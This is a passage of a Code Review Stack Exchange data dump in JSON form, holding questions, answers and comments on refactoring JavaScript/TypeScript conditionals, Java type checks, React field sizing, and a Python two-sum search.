"body": "Thank you a lot! This was very helpful. Making it OOP oriented is something i didn't consider. Since it's not my field it was really helpful"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T20:26:35.480",
"Id": "249554",
"ParentId": "249357",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249552",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T17:07:52.370",
"Id": "249357",
"Score": "5",
"Tags": [
"python",
"python-3.x",
"websocket"
],
"Title": "Handling more websocket connections"
}
|
249357
|
<p>I want to refactor this code but am wondering how I should start it. I'm not sure this code is totally against clean code or not. I'm thinking to use RxJS or a JavaScript builtin method. I'd like to have some help here to learn how to have clean code or how I can minimize the code to few line or chain multiple method of RxJS or JS to get rid of if conditions.</p>
<pre><code>public loadChart(): void {
this.chartDataSets = [];
let allData = this.availableDataSet;
if(this.selectedAttribute === Dashbaord.All && this.selectedComponent === Dashbaord.All) {
this.prepareIntialData();
}
if (this.selectedAttribute === Dashbaord.All && this.selectedComponent !== Dashbaord.All) {
const groupedByComponent = this.pendingActionDataSet.groupByArray(x => x.component);
allData = groupedByComponent[this.selectedComponent];
}
if (this.selectedAttribute !== Dashbaord.All && this.selectedComponent === Dashbaord.All) {
allData = this.groupedByAttribute[this.selectedAttribute].flattenArray();//["",""]
const components = allData.groupByArray(x => x.component);//["key":["values"]]
this.componentOptions = Mapper.mapToSelectItemWithAll(Object.keys(components));
}
if (this.selectedAttribute !== Dashbaord.All && this.selectedComponent !== Dashbaord.All) {
const allDataByAttribute = this.groupedByAttribute[this.selectedAttribute].flattenArray();
const groupedByComponent = allDataByAttribute.groupByArray(x => x.component);
this.componentOptions = Mapper.mapToSelectItemWithAll(Object.keys(groupedByComponent));
if (!this.componentOptions.filter(x => x.value === this.selectedComponent).length) {
this.selectedComponent = Dashbaord.All;
allData = allDataByAttribute;
} else {
allData = groupedByComponent[this.selectedComponent];
}
}
this.prepareChartData(allData);
}
</code></pre>
|
[] |
[
{
"body": "<p><strong>Indentation</strong> Your current indentation is a bit confusing - the function's opening block's <code>{</code> line is not balanced with the closing block <code>}</code> line. At a glance, it looks like the function is 4 lines long, and like there's an extra <code>}</code> at the very bottom of the snippet. Consider using an IDE which can prettily format code automatically, such as VSCode - it makes things much easier when you and anyone who reads the code can identify each block and its nesting level at a glance.</p>\n<p><strong>Spelling</strong> Spelling matters in programming - misspellings are a very common cause of bugs. <code>Dashbaord</code> should probably be renamed to <code>Dashboard</code>, rather than using the misspelled word everywhere (which would probably eventually cause a headache or few, especially if other developers have to go over the code).</p>\n<p><strong>Prefer <code>const</code></strong> - <a href=\"https://softwareengineering.stackexchange.com/questions/278652/how-much-should-i-be-using-let-vs-const-in-es6\">don't use <code>let</code></a> unless you must reassign the variable name. Using <code>const</code> makes code more readable when you know there's no chance of the variable name being reassigned. Here, rather than reassigning the <code>allData</code> variable name, you may refactor to <code>const</code> by calling <code>prepareChartData</code> immediately, rather than reassign <code>allData</code>. For example:</p>\n<pre><code>if (this.selectedAttribute === Dashbaord.All && this.selectedComponent !== Dashbaord.All) {\n const groupedByComponent = this.pendingActionDataSet.groupByArray(x => x.component);\n allData = groupedByComponent[this.selectedComponent];\n}\n</code></pre>\n<p>can turn into</p>\n<pre><code>if (this.selectedAttribute === Dashbaord.All && this.selectedComponent !== Dashbaord.All) {\n const groupedByComponent = this.pendingActionDataSet.groupByArray(x => x.component);\n this.prepareChartData(groupedByComponent[this.selectedComponent]);\n}\n</code></pre>\n<p>If you don't like repeating <code>this.prepareChartData</code> everywhere, you could make it a bit shorter with:</p>\n<pre><code>// replace Data with the appropriate type below:\nconst prepareData = (data: Data) => {\n this.prepareChartData(data);\n};\n</code></pre>\n<p><strong>Comparisons</strong> As for your <code>if</code> statements, you can save the two comparisons being done in variables first, then use those variables:</p>\n<pre><code>const { All } = Dashboard; // note spelling\nconst attribIsAll = this.selectedAttribute === All;\nconst selectedIsAll = this.selectedComponent === All;\nif (attribIsAll && selectedIsAll) {\n // ...\n} else if (attribIsAll && !selectedIsAll) {\n // ...\n</code></pre>\n<p>Another option would be to group one of the truthy comparisons together, like so:</p>\n<pre><code>if (attribIsAll) {\n if (selectedIsAll) {\n this.prepareIntialData();\n } else {\n const groupedByComponent = this.pendingActionDataSet.groupByArray(x => x.component);\n prepareData(groupedByComponent[this.selectedComponent]);\n }\n return; // return early; avoid dense indentation later\n}\nif (selectedIsAll) {\n // ...\n} else {\n // ...\n}\n</code></pre>\n<p><strong>Array test</strong> You have</p>\n<pre><code>if (!this.componentOptions.filter(x => x.value === this.selectedComponent).length) {\n</code></pre>\n<p>In general, if you want to check that no elements in an array satisfy a condition, it would be more semantically appropriate to use <code>.some</code> or <code>.every</code>:</p>\n<pre><code>const componentOptionSelected = this.componentOptions.some(\n option => option.value === this.selectedComponent\n);\nif (componentOptionSelected) {\n prepareData(groupedByComponent[this.selectedComponent]);\n} else {\n this.selectedComponent = Dashboard.All; // note spelling\n prepareData(allDataByAttribute);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T18:46:36.927",
"Id": "249362",
"ParentId": "249358",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249362",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T17:34:14.887",
"Id": "249358",
"Score": "0",
"Tags": [
"javascript",
"ecmascript-6",
"typescript",
"rxjs",
"reactive-programming"
],
"Title": "Refactor multiple if condition in JavaScript/TypeScript"
}
|
249358
|
<p>I have a <code>Type</code> class that will have many instances. I get the instances from a web service. The <code>Type</code> class has a <code>code</code> instance field that uniquely ids an instance:</p>
<pre><code>@Data
@AllArgsConstructor
public class Type {
private String code;
}
</code></pre>
<p>Ten of these instances identify a special type. I have several places where I need to check if a <code>Type</code> is one of these special types:</p>
<pre><code>aType.equals(new Type("specialType1")) || aType.equals(new Type("specialType2")) ||...
</code></pre>
<p>In other places, I need to find where aType is not a special type. To centralize these specialized types and the check, I put it in the <code>Type</code> class as follows:</p>
<pre><code>@Data
@AllArgsConstructor
public class Type {
private static final List<Type> specialTypes = Arrays.asList(new Type("specialType1"),...);
private String code;
public boolean isSpecialType() {
return specialTypes.contains(this);
}
}
</code></pre>
<p>Should specialTypes and the logic to compare a type to special types be in the <code>Type</code> class? Or would this type of logic be better in a service class? Should the special types be defined as enums?</p>
<p><strong>Update</strong></p>
<p><code>Type</code> instances are created via use of open feign:</p>
<pre><code>import org.springframework.cloud.openfeign.FeignClient;
@FeignClient(name="type-service")
public interface TypeClient {
@GetMapping("/type")
List<Type> getTypes();
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T18:10:39.603",
"Id": "488748",
"Score": "1",
"body": "Why are subclasses not an option?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T18:20:33.020",
"Id": "488750",
"Score": "0",
"body": "It could be. Open feign is creating the `Type` instances. (I updated the OP.) I'm not sure how feign would know to create a `Type` instance versus a `SpecialType extends Type` instance."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:04:38.453",
"Id": "488752",
"Score": "1",
"body": "(suggestion), If the special thing is a type-level, then have a empty interface, let say `SpecialType`, and simply implement it by those special types, later check as `if(obj instanceOf SpecialType)`.\nNot sure what's this feign, but it comes with a good API, it would provide some creation API to allow you customize(take-control) object instancing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:40:47.507",
"Id": "488754",
"Score": "0",
"body": "You could manage the preloaded types in a `Set<String>` because you need uniqueness for the strings."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:22:45.153",
"Id": "488825",
"Score": "0",
"body": "@911992 & @Mark Bluemel - Feign actually delegates to Jackson for deserialization.I didn't realize this until I did some research. So, it's actually Jackson that is creating the instances of `Type`. Jackson does support deserialization into subclasses. So, subclassing is an option."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:24:05.100",
"Id": "488826",
"Score": "0",
"body": "@Miguel Avila - A set of strings makes sense. Thanks."
}
] |
[
{
"body": "<p>First of all, as "being special" is obviously an attribute of your <code>Type</code> class, the check should go into the <code>Type</code> class, as you did, therefore always choose:</p>\n<pre><code>public class Type {\n ...\n public boolean isSpecial() {...}\n}\n</code></pre>\n<p>over</p>\n<pre><code>aType.equals(new Type("specialType1")) || aType.equals(new Type("specialType2")) ||...\n</code></pre>\n<p>Regarding the implementation: I'm not too fond of creating a static collection to compare to. First of all, you search <em>every time</em>, then you use a relatively heavyweight <code>equals</code> method, which seems somewhat exaggerated to me, if the only distinction is a string passed in the constructor.</p>\n<p>Personally, I'd use the underlying strings as a constant and determint the <code>special</code> flag in the constructor:</p>\n<pre><code>public class Type {\n private static final List<String> SPECIAL_CODES = Arrays.asList("this", "that", "whatever");\n private final String code;\n private final boolean special;\n\n public Type(String code) {\n this.code = code;\n this.special = SPECIAL_CODES.contains(code);\n }\n\n public boolean isSpecial() {\n return special;\n }\n}\n</code></pre>\n<p>(Note that this change will <em>not</em> make a difference in runtime in real life, unless you check <code>isSpecial()</code> in a tight loop. It is more of a gut-feeling of being somewhat clearer.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:29:39.593",
"Id": "488828",
"Score": "0",
"body": "Thank you for your insights. This is very helpful. How would you compare this solution to having `SpecialType extends Type`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T16:25:41.897",
"Id": "488849",
"Score": "1",
"body": "I'd only go for inheritance, if you have a real extension of functionality, but never as a pure marker."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T18:00:50.050",
"Id": "488864",
"Score": "0",
"body": "Thanks. Yeah, the special types have **no** additional functionality (i.e. no extension of behavior, no additional fields). So it would be purely as a marker."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T05:07:24.987",
"Id": "249380",
"ParentId": "249360",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249380",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T17:55:16.657",
"Id": "249360",
"Score": "2",
"Tags": [
"java",
"object-oriented",
"design-patterns",
"enum"
],
"Title": "Defining a finite set of instances of a class to check against"
}
|
249360
|
<p>In my React app using Material UI, I wrote a code to manage the size of the fields of a contact form. Those fields are elements that can be added or removed depending on a configuration.</p>
<p>The code I wrote works as should be but looks ugly and I need help to make it better</p>
<pre><code>let size = 12;
if (useMediaQuery(theme.breakpoints.up('sm'))) {
const hasTime = fieldsConfig.some(
f => f.name === 'preferredContactHours',
);
const hasContactType = fieldsConfig.some(
f => f.name === 'preferredContactWay',
);
if (name === 'phone' && (!hasTime || !hasContactType)) size = 7;
else if (name === 'preferredContactWay' && hasTime) size = 6;
else if (name === 'preferredContactWay' && !hasTime) size = 5;
else if (name === 'preferredContactHours' && hasContactType) size = 6;
else if (name === 'preferredContactHours' && !hasContactType) size = 5;
}
</code></pre>
<p>The size by default is 12 so if any of the conditions are not applicable the field will be full size in the grid.</p>
<p>After the if the <code>hasTime</code> and <code>hasContactType</code> are about that those fields are optional so I need to see if they are present or not.</p>
<p>The rest is the sizing and the conditions about it regarding if I have or not the field then is a specific size.</p>
<p>What I need is to have it better and efficient then all that verbose way if that could be possible.</p>
|
[] |
[
{
"body": "<p>I think your current code looks pretty reasonable. All the logic you're typing out is required, and it's quite readable as-is. There are a few tweaks you can consider, but there could well be different opinions on whether it makes the code more elegant or not.</p>\n<p><strong>Array search</strong> You initially save into 2 variables whether a couple particular properties exist in the array of objects. You can make that a bit nicer by first mapping to an array of <code>.name</code>s, then using <code>.includes</code> instead:</p>\n<pre><code>const configNames = fieldsConfig.map(config => config.name);\nconst hasTime = configNames.includes('preferredContactHours');\nconst hasContactType = configNames.includes('preferredContactWay');\n</code></pre>\n<p><strong>Abstract into a function</strong> Your whole code snippet runs for the purpose of figuring out the size to use. Rather than having this block among whatever else may exist on that level, and rather than conditionally reassigning <code>size</code> in a bunch of places, you might consider a function that calculates the size instead:</p>\n<pre><code>const size = getSize();\n</code></pre>\n<p>(This also lets you define <code>size</code> with <code>const</code>, which is great)</p>\n<p><strong>Save the comparisons into variables</strong> Rather than performing the same test multiple times, you can save them into variables first, it'll help a bit:</p>\n<pre><code>const preferredContactWay = name === 'preferredContactWay';\nconst preferredContactHours = name === 'preferredContactHours';\n</code></pre>\n<p><strong>Group the conditions that result in the same size</strong> (just an option, you may or may not like how it looks):</p>\n<pre><code>const getSize = () => {\n if (!useMediaQuery(theme.breakpoints.up('sm'))) {\n return 12;\n }\n const configNames = fieldsConfig.map(config => config.name);\n const hasTime = configNames.includes('preferredContactHours');\n const hasContactType = configNames.includes('preferredContactWay');\n\n if (name === 'phone' && (!hasTime || !hasContactType)) return 7;\n\n const preferredContactWay = name === 'preferredContactWay';\n const preferredContactHours = name === 'preferredContactHours';\n\n if (\n (preferredContactWay && hasTime) ||\n (preferredContactHours && hasContactType)\n ) {\n return 6;\n }\n else if (\n (preferredContactWay && !hasTime) ||\n (preferredContactHours && !hasContactType)\n ) {\n return 5;\n }\n return 12;\n}\n</code></pre>\n<p>RE: comment, to call <code>useMediaQuery</code> in the caller of <code>getSize</code>, either do:</p>\n<pre><code>const size = useMediaQuery(theme.breakpoints.up('sm') ? 12 : getSize();\n</code></pre>\n<p>or</p>\n<pre><code>const size = getSize(useMediaQuery(theme.breakpoints.up('sm'));\n</code></pre>\n<p>altering the body of <code>getSize</code> as needed to check the parameter.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:41:53.147",
"Id": "488755",
"Score": "0",
"body": "That solution seems nice but in my scope gives an error\nReact Hook \"useMediaQuery\" is called in function \"getSize\" which is neither a React function component or a custom React Hook function.eslint(react-hooks/rules-of-hooks)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:44:02.270",
"Id": "488756",
"Score": "0",
"body": "Call it in the caller instead. Either use the conditional operator, or pass the result as an argument to determine the size."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:46:25.053",
"Id": "488757",
"Score": "0",
"body": "What you mean with the caller can you show an example, please"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:50:29.170",
"Id": "488758",
"Score": "0",
"body": "However, this way breaks the form sizing in other ways maybe take a look at full code \nhttps://pastebin.com/DCkPsK3W maybe you can help me better knowing the whole thing"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:55:38.113",
"Id": "488760",
"Score": "0",
"body": "What issues does it result in? I don't see anything problematic at a glance, it looks to be faithful to the original code, though maybe I missed something."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:06:51.500",
"Id": "488761",
"Score": "0",
"body": "If add as you did all the fields in the contact form get cut half size so something makes this breaking"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:11:25.407",
"Id": "488764",
"Score": "0",
"body": "So what happens is this when both fields are false phone fields remain 7 instead of 12 that on thing"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:16:53.483",
"Id": "488765",
"Score": "0",
"body": "If you're talking about this line: `if (name === 'phone' && (!hasTime || !hasContactType)) return 7;`, that's the same logic that you have in your original question..? Did you want to assign size to 12 instead, when that occurs?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:20:48.817",
"Id": "488766",
"Score": "0",
"body": "To be clear I tried your code testing adding removing the fields.\nWhen prefferedContactWay and preferred contact hours are removed so false the phone field remains 7 instead should be full 12 in the grid that the issue\n\nSo the case is both fields false then phone field 12 \none field true phone field 7 \nboth fields true phone field 12 \nthose are the cases I need to have"
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:24:27.967",
"Id": "249364",
"ParentId": "249363",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249364",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T19:01:24.337",
"Id": "249363",
"Score": "6",
"Tags": [
"javascript",
"react.js"
],
"Title": "Code to change the size of the fields based on that 2 fields are optional inside a contact form"
}
|
249363
|
<p>I attempted an online Python test the other day. The function I wrote works fine however takes too long to complete.</p>
<p>Question:</p>
<blockquote>
<p>From a list of numbers find the indexes of two numbers that total n and return as a tuple.</p>
</blockquote>
<p>I tried using <code>itertools</code> but I don't know if there is a function that would out perform my original. I thought <code>itertools.combinations</code> may be able to.</p>
<p>Any suggestions as the best way to tackle this problem?</p>
<pre><code>import numpy as np
from itertools import combinations
numbers = np.random.randint(1, 100, 1000000)
# used to time function run time
def timer_func(orig):
import time
def wrapper_func(*args):
t1 = time.time()
result = orig(*args)
t2 = time.time() - t1
print(f"{orig.__name__} ran in {t2}")
return result
return wrapper_func
# new combination test
@timer_func
def find_two_sum(numbers, target_sum):
"""
:param numbers: (list of ints) The list of numbers.
:param target_sum: (int) The required target sum.
:returns: (a tuple of 2 ints) The indices of the two elements whose sum is equal to target_sum
"""
for perm in combinations(numbers, 2):
if sum(perm) == target_sum:
first = np.where(numbers == perm[0])
second = np.where(numbers == perm[1])
return (first[0][0], second[0][0])
# original function
@timer_func
def find_two_sum_original(numbers, target_sum):
"""
:param numbers: (list of ints) The list of numbers.
:param target_sum: (int) The required target sum.
:returns: (a tuple of 2 ints) The indices of the two elements whose sum is equal to target_sum
"""
for i, x in enumerate(numbers):
for ii, y in enumerate(numbers):
if i != ii and x + y == target_sum:
return (i, ii)
if __name__ == "__main__":
print(find_two_sum(numbers, 25))
print(find_two_sum_original(numbers, 25))
</code></pre>
<pre><code>find_two_sum ran in 1.341470718383789
(2, 307)
find_two_sum_original ran in 1.0022737979888916
(2, 307)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:35:49.297",
"Id": "488786",
"Score": "1",
"body": "@superbrain I think it's safe to assume that they missed out a word or two in the quote. The function names are two sum which is what the functions are doing. The tests are not wrong don't take \"list\" to literally mean `list`, a list can be a NumPy array or a sequence of words I jot down on a piece of paper. Rather than focusing on negatives \"you're wrong in x and y\" it'd be better if you cut the user some slack and phrased issues in a non-combative way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T23:08:18.720",
"Id": "488790",
"Score": "0",
"body": "@Peilonrayz Meh, the function name isn't mentioned in the quoted question, so that could be part of the misunderstanding. But yes, my answer did assume sum. I'd say \"list\" in the context of Python does mean `list` and shouldn't be a NumPy array. Although I didn't even care until my solution crashed because NumPy array's apparently don't have an `index` method :-)"
}
] |
[
{
"body": "<p>There are two key points to this challenge:</p>\n<ol>\n<li><p>Figuring out that you can determine what you need to search for by rearranging the given equation <span class=\"math-container\">\\$a + b = c\\$</span> therefore you need to find if <span class=\"math-container\">\\$b = c - a\\$</span> is in <code>numbers</code>.</p>\n</li>\n<li><p>Use a datatype that has <span class=\"math-container\">\\$O(1)\\$</span> indexing - <code>datatype[index]</code>. <span class=\"math-container\">\\$O(1)\\$</span> means it runs in constant time, where your current <code>np.where</code> runs in <span class=\"math-container\">\\$O(n)\\$</span> time as you iterate through the entire of list (worst case). Python has a few datatypes that exhibit this property:</p>\n<ul>\n<li><code>str</code> - This wouldn't be great here as we're working with numbers.</li>\n<li><code>list</code> - Whilst usable making it work with negative values and have a correct bound isn't simple. It is also likely to waste space.</li>\n<li><code>set</code> - This is the go to for two sum, however as you need the index of the second value it's not adequate here.</li>\n<li><code>dict</code> - This stores both a key and a value and so we can assign the value to the index of the key.</li>\n</ul>\n</li>\n</ol>\n<p>The dictionary can be made by using the following. I'll leave solving the rest of the challenge, from the above, as an exercise to improve your ability.</p>\n<pre class=\"lang-py prettyprint-override\"><code>values = {\n value: index\n for index, value in enumerate(numbers)\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:06:18.187",
"Id": "488781",
"Score": "0",
"body": "@FMc Please read the OPs code that is a problem this wouldn't introduce."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:44:46.637",
"Id": "249367",
"ParentId": "249366",
"Score": "5"
}
},
{
"body": "<p>Your solutions might have to try all pairs, so you have up to quadratic runtime.</p>\n<p>Let's use an allegedly not adequate set to keep track of the numbers we've already seen, so that for each number, we can check in constant time whether we've seen the needed partner:</p>\n<pre><code>def find_two_sum(numbers, target_sum):\n """\n :param numbers: (list of ints) The list of numbers.\n :param target_sum: (int) The required target sum.\n :returns: (a tuple of 2 ints) The indices of the two elements whose sum is equal to target_sum\n """\n seen = set()\n for number in numbers:\n needed = target_sum - number\n if needed in seen:\n i = numbers.index(needed)\n j = numbers.index(number, i + 1)\n return i, j\n seen.add(number)\n</code></pre>\n<p>This only takes linear time.</p>\n<p>Other points:</p>\n<ul>\n<li>Your function signature seems a bit inappropriate. The question called the target sum "n", not "target_sum". Even your whole program doesn't use "n" anywhere. I always follow the specification (maybe unless the specification is really bad). A middle ground would be to define/read the input into variable <code>n</code> and then name your function parameter like you did. This way, a reader of the question and your code can see the connection.</li>\n<li>The question says <em>list</em> of numbers (your docstring even repeats that), not a NumPy array. My code assumes it's indeed a list (I find using <code>list.index</code> a lot better here.)</li>\n<li>Your benchmark can be improved. The test case contains a million ints from 1 to 100, and your target sum is 25. You're almost guaranteed to find something quickly, despite the large size and despite your quadratic runtime. Better test a worst case, like <code>list(range(1000))</code> with target 1997 (the sum of the last two numbers).</li>\n</ul>\n<p>Motivated by the comments, here's a benchmark comparing this <code>set</code>+<code>index</code> solution and a <code>dict</code>+<code>enumerate</code> solution (numbers are times, so lower=faster):</p>\n<pre><code>Round 1:\n2.10 twosum_set\n1.77 twosum_set_optimized\n2.11 twosum_dict\n\nRound 2:\n2.05 twosum_set\n1.75 twosum_set_optimized\n2.08 twosum_dict\n\nRound 3:\n2.14 twosum_set\n1.83 twosum_set_optimized\n2.11 twosum_dict\n</code></pre>\n<p>They look about equally fast, although the optimized <code>set</code> solution is clearly faster.</p>\n<p>That was with my above-mentioned <code>list(range(1000))</code>. Let's use a million instead (and fewer repetitions):</p>\n<pre><code>Round 1:\n2.64 twosum_set\n2.31 twosum_set_optimized\n2.84 twosum_dict\n\nRound 2:\n2.70 twosum_set\n2.36 twosum_set_optimized\n2.88 twosum_dict\n\nRound 3:\n2.68 twosum_set\n2.38 twosum_set_optimized\n2.87 twosum_dict\n</code></pre>\n<p>Here the <code>set</code> solution does seem faster than the <code>dict</code> solution, and the optimized <code>set</code> solution is again clearly faster.</p>\n<p>Benchmark code:</p>\n<pre><code>from timeit import repeat\n\ndef twosum_set(numbers, target_sum):\n seen = set()\n for number in numbers:\n needed = target_sum - number\n if needed in seen:\n i = numbers.index(needed)\n j = numbers.index(number, i + 1)\n return i, j\n seen.add(number)\n\ndef twosum_set_optimized(numbers, target_sum):\n seen = set()\n add = seen.add # This is the optimization\n for number in numbers:\n needed = target_sum - number\n if needed in seen:\n i = numbers.index(needed)\n j = numbers.index(number, i + 1)\n return i, j\n add(number) # This is the optimization\n\ndef twosum_dict(numbers, target_sum):\n index = {}\n for i, number in enumerate(numbers):\n needed = target_sum - number\n if needed in index:\n return index[needed], i\n index[number] = i\n\nnumbers = list(range(10**3))\nrepeat_number = 10**4\n\nnumbers = list(range(10**6))\nrepeat_number = 10**1\n\ntarget_sum = sum(numbers[-2:])\n\nfor r in range(3):\n print(f'Round {r+1}:')\n for twosum in twosum_set, twosum_set_optimized, twosum_dict:\n t = min(repeat(lambda: twosum(numbers, target_sum), number=repeat_number))\n print('%.2f' % t, twosum.__name__)\n print()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T23:13:45.123",
"Id": "488791",
"Score": "1",
"body": "At least for me, the correctness and linearity of this answer were both counterintuitive at first – so I enjoyed it for being surprising! (Also, very good point about the benchmark.) But ... why? If we know we'll need the seen-index eventually, why not store it in a dict? And if we know we'll need the current-index, why not use `enumerate()` to drive the loop? With those changes, the code shortens, simplifies, and becomes non-counterintuitive -- admittedly, a bit boring."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T23:21:17.720",
"Id": "488793",
"Score": "1",
"body": "@FMc Why not dict and enumerate? Four reasons: (1) Like you said, boring :-). (2) Because Peilonrayz called set not adequate :-P. (3) The set takes less space than the dict, and also doesn't cause extra space to keep the index objects in memory. (4) it might be faster. Most of the indexes will not be used. Remember [this](https://codereview.stackexchange.com/a/249162/228314)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T23:33:56.413",
"Id": "488794",
"Score": "0",
"body": "Yes, I do remember that one – talk about counter-intuitive. I still think that question should be moved to the bigger audience of StackOverflow to find the expert able to explain WTF is going on there."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T00:17:43.197",
"Id": "488796",
"Score": "1",
"body": "@FMc Added some benchmarks now."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:19:54.720",
"Id": "488824",
"Score": "0",
"body": "@FMc I don't see how it's counter-intuitive: `enumerate`, an \\$O(n)\\$ operation, is slower than `list.index`, another \\$O(n)\\$ operation, and Python is slower than C. I have written up [an answer](https://codereview.stackexchange.com/a/249395) highlighting that it's really this basic."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T19:56:01.997",
"Id": "488874",
"Score": "0",
"body": "@superbrain Thanks for this wonderful answer, could you clear things up for me? How is the \"optimised\" set version different? Other than assigning the set.add function to a variable? How does this make it run faster? Thank you"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T20:28:37.023",
"Id": "488878",
"Score": "0",
"body": "@LewisMorris That's it (well, along with *using* that variable instead). Looking the method up only once instead of for every insertion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T04:00:25.423",
"Id": "488907",
"Score": "0",
"body": "@superbrain I did not realise that would give a speed improvement at all. What a great little bit of information. Thank you"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T04:17:52.420",
"Id": "489071",
"Score": "0",
"body": "@superbrain I've managed to make it run even quicker by omitting assigning to i,j and removing the start index in the second index call. So when number is found then`return numbers.index[x], numbers.index[number_needed]` Using a list of `list(range(10 ** 6))` Your version averaged 0.1338 over 30 loops and with the change its down to 0.1271. Thanks for all the help."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T08:59:17.463",
"Id": "489094",
"Score": "0",
"body": "@LewisMorris Not clear what you've done, as that looks like non-working code. Can you share your whole working benchmark code, for example on [repl.it](https://repl.it/)? It should be a bit *slower*, not faster. And in some cases, wrong."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T22:34:12.243",
"Id": "249370",
"ParentId": "249366",
"Score": "6"
}
}
] |
{
"AcceptedAnswerId": "249370",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T20:04:00.473",
"Id": "249366",
"Score": "6",
"Tags": [
"python"
],
"Title": "Return the indexs of two numbers that total a given number"
}
|
249366
|
<p>I try to get location data by a external HTTP call. For this API, any part in the data can be missing. Initially I wrote the following code to check whether <code>data.res.accounts[0].contacts[0].location</code> exists:</p>
<pre><code>const getLocation = async () => {
const data = await fetchLocation();
if (
data == null
data.res == null ||
data.res.accounts == null ||
data.res.accounts[0] == null ||
data.res.accounts[0].contacts == null ||
data.res.accounts[0].contacts[0] == null ||
data.res.accounts[0].contacts[0].location == null
) {
return null;
}
return data.res.accounts[0].contacts[0].location;
}
</code></pre>
<p>I have tried to simplify the mixed object and array code.
One way of doing this is using JavaScript's new conditional operator <code>?.</code>.</p>
<p>For example if they are all objects then I can use something like:</p>
<pre><code>if (data?.res?.account?.contact?.location == null) {
return null;
}
</code></pre>
<p>However my data is mixed with arrays and objects. This is the best I've come up with:</p>
<pre><code>if (
data?.res?.accounts == null ||
data.res.accounts[0]?.contacts == null ||
data.res.accounts[0].contacts[0]?.location == null
) {
return null;
}
</code></pre>
<p>Can I simplify it further?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:24:16.567",
"Id": "488772",
"Score": "3",
"body": "This question lacks any indication of what the code is intended to achieve. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the purpose of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](https://meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [state the task](https://meta.codereview.stackexchange.com/q/2436)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:31:25.913",
"Id": "488773",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ thanks for the guide, just added more details."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-14T21:33:44.037",
"Id": "488774",
"Score": "1",
